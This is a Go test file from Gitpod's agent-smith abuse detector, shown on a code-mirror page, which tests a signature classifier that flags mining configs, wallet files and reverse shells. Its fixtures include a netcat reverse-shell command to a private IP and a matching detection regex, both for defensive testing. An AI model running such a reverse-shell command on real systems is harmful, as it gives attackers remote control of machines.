Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gitpod-io
GitHub Repository: gitpod-io/gitpod
Path: blob/main/components/ee/agent-smith/pkg/classifier/filesystem_test.go
2501 views
1
// Copyright (c) 2024 Gitpod GmbH. All rights reserved.
2
// Licensed under the GNU Affero General Public License (AGPL).
3
// See License.AGPL.txt in the project root for license information.
4
5
package classifier
6
7
import (
8
"os"
9
"path/filepath"
10
"testing"
11
)
12
13
func TestSignatureMatchClassifier_MatchesFile(t *testing.T) {
14
// Create temporary directory for test files
15
tempDir, err := os.MkdirTemp("", "agent-smith-test")
16
if err != nil {
17
t.Fatalf("failed to create temp dir: %v", err)
18
}
19
defer os.RemoveAll(tempDir)
20
21
// Create test files
22
testFiles := map[string][]byte{
23
"mining.conf": []byte("pool=stratum+tcp://pool.example.com:4444\nwallet=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"),
24
"wallet.dat": []byte("Bitcoin wallet data with private keys"),
25
"normal.txt": []byte("This is just a normal text file"),
26
"script.sh": []byte("#!/bin/bash\necho 'Hello World'"),
27
"malicious.sh": []byte("#!/bin/bash\nnc -e /bin/sh 192.168.1.1 4444"),
28
}
29
30
for filename, content := range testFiles {
31
filePath := filepath.Join(tempDir, filename)
32
if err := os.WriteFile(filePath, content, 0644); err != nil {
33
t.Fatalf("failed to create test file %s: %v", filename, err)
34
}
35
}
36
37
tests := []struct {
38
name string
39
signatures []*Signature
40
filePath string
41
expectMatch bool
42
expectLevel Level
43
}{
44
{
45
name: "filesystem signature with filename match",
46
signatures: []*Signature{
47
{
48
Name: "mining_pool_config",
49
Domain: "filesystem",
50
Pattern: []byte("stratum+tcp://"),
51
Filename: []string{"mining.conf", "*.conf"},
52
},
53
},
54
filePath: filepath.Join(tempDir, "mining.conf"),
55
expectMatch: true,
56
expectLevel: LevelAudit,
57
},
58
{
59
name: "filesystem signature with wildcard filename",
60
signatures: []*Signature{
61
{
62
Name: "shell_script",
63
Domain: "filesystem",
64
Pattern: []byte("#!/bin/bash"),
65
Filename: []string{"*.sh"},
66
},
67
},
68
filePath: filepath.Join(tempDir, "script.sh"),
69
expectMatch: true,
70
expectLevel: LevelVery,
71
},
72
{
73
name: "filesystem signature with content match but wrong filename",
74
signatures: []*Signature{
75
{
76
Name: "specific_file_only",
77
Domain: "filesystem",
78
Pattern: []byte("Hello World"),
79
Filename: []string{"specific.txt"},
80
},
81
},
82
filePath: filepath.Join(tempDir, "script.sh"),
83
expectMatch: false,
84
expectLevel: LevelNoMatch,
85
},
86
{
87
name: "filesystem signature without filename restriction",
88
signatures: []*Signature{
89
{
90
Name: "bitcoin_wallet",
91
Domain: "filesystem",
92
Pattern: []byte("Bitcoin wallet"),
93
},
94
},
95
filePath: filepath.Join(tempDir, "wallet.dat"),
96
expectMatch: true,
97
expectLevel: LevelBarely,
98
},
99
{
100
name: "process signature should not match filesystem files",
101
signatures: []*Signature{
102
{
103
Name: "process_only",
104
Domain: "process",
105
Pattern: []byte("Hello World"),
106
},
107
},
108
filePath: filepath.Join(tempDir, "script.sh"),
109
expectMatch: false,
110
expectLevel: LevelNoMatch,
111
},
112
{
113
name: "filesystem signature with regex pattern",
114
signatures: []*Signature{
115
{
116
Name: "reverse_shell",
117
Domain: "filesystem",
118
Pattern: []byte("nc.*-e.*sh"),
119
Regexp: true,
120
Filename: []string{"*.sh"},
121
},
122
},
123
filePath: filepath.Join(tempDir, "malicious.sh"),
124
expectMatch: true,
125
expectLevel: LevelVery,
126
},
127
{
128
name: "no filesystem signatures",
129
signatures: []*Signature{
130
{
131
Name: "process_sig",
132
Domain: "process",
133
Pattern: []byte("anything"),
134
},
135
},
136
filePath: filepath.Join(tempDir, "normal.txt"),
137
expectMatch: false,
138
expectLevel: LevelNoMatch,
139
},
140
{
141
name: "content pattern mismatch",
142
signatures: []*Signature{
143
{
144
Name: "nonexistent_pattern",
145
Domain: "filesystem",
146
Pattern: []byte("this_pattern_does_not_exist"),
147
Filename: []string{"*.txt"},
148
},
149
},
150
filePath: filepath.Join(tempDir, "normal.txt"),
151
expectMatch: false,
152
expectLevel: LevelNoMatch,
153
},
154
}
155
156
for _, tt := range tests {
157
t.Run(tt.name, func(t *testing.T) {
158
// Validate signatures
159
for _, sig := range tt.signatures {
160
if err := sig.Validate(); err != nil {
161
t.Fatalf("signature validation failed: %v", err)
162
}
163
}
164
165
classifier := NewSignatureMatchClassifier("test", tt.expectLevel, tt.signatures)
166
167
result, err := classifier.MatchesFile(tt.filePath)
168
if err != nil {
169
t.Fatalf("unexpected error: %v", err)
170
}
171
172
if tt.expectMatch {
173
if result.Level == LevelNoMatch {
174
t.Errorf("expected match but got no match")
175
}
176
if result.Level != tt.expectLevel {
177
t.Errorf("expected level %v, got %v", tt.expectLevel, result.Level)
178
}
179
if result.Classifier != ClassifierSignature {
180
t.Errorf("expected classifier %v, got %v", ClassifierSignature, result.Classifier)
181
}
182
} else {
183
if result.Level != LevelNoMatch {
184
t.Errorf("expected no match but got level %v", result.Level)
185
}
186
}
187
})
188
}
189
}
190
191
func TestSignatureMatchClassifier_FilesystemFileNotFound(t *testing.T) {
192
signatures := []*Signature{
193
{
194
Name: "test_sig",
195
Domain: "filesystem",
196
Pattern: []byte("test"),
197
},
198
}
199
200
classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures)
201
202
result, err := classifier.MatchesFile("/nonexistent/file.txt")
203
if err != nil {
204
t.Fatalf("unexpected error: %v", err)
205
}
206
207
if result.Level != LevelNoMatch {
208
t.Errorf("expected no match for nonexistent file, got level %v", result.Level)
209
}
210
}
211
212
func TestSignatureMatchClassifier_ContentMatching(t *testing.T) {
213
tests := []struct {
214
name string
215
filename string
216
content string
217
pattern string
218
expectMatch bool
219
}{
220
{
221
name: "content matches pattern",
222
filename: "any-file.txt",
223
content: "test content",
224
pattern: "test",
225
expectMatch: true,
226
},
227
{
228
name: "content does not match pattern",
229
filename: "any-file.txt",
230
content: "different content",
231
pattern: "test",
232
expectMatch: false,
233
},
234
{
235
name: "empty content",
236
filename: "empty-file.txt",
237
content: "",
238
pattern: "test",
239
expectMatch: false,
240
},
241
{
242
name: "binary pattern match",
243
filename: "binary-file.dat",
244
content: "foobar\n",
245
pattern: "foobar",
246
expectMatch: true,
247
},
248
}
249
250
for _, tt := range tests {
251
t.Run(tt.name, func(t *testing.T) {
252
// Create a temporary file for testing
253
tempDir, err := os.MkdirTemp("", "agent-smith-content-test")
254
if err != nil {
255
t.Fatalf("failed to create temp dir: %v", err)
256
}
257
defer os.RemoveAll(tempDir)
258
259
filePath := filepath.Join(tempDir, tt.filename)
260
if err := os.WriteFile(filePath, []byte(tt.content), 0644); err != nil {
261
t.Fatalf("failed to create test file: %v", err)
262
}
263
264
signatures := []*Signature{
265
{
266
Name: "test_sig",
267
Domain: "filesystem",
268
Pattern: []byte(tt.pattern),
269
Filename: []string{}, // Empty filename list - classifier skips filename matching
270
},
271
}
272
273
if err := signatures[0].Validate(); err != nil {
274
t.Fatalf("signature validation failed: %v", err)
275
}
276
277
classifier := NewSignatureMatchClassifier("test", LevelAudit, signatures)
278
279
result, err := classifier.MatchesFile(filePath)
280
if err != nil {
281
t.Fatalf("unexpected error: %v", err)
282
}
283
284
if tt.expectMatch {
285
if result.Level == LevelNoMatch {
286
t.Errorf("expected content match but got no match")
287
}
288
} else {
289
if result.Level != LevelNoMatch {
290
t.Errorf("expected no content match but got level %v", result.Level)
291
}
292
}
293
})
294
}
295
}
296
297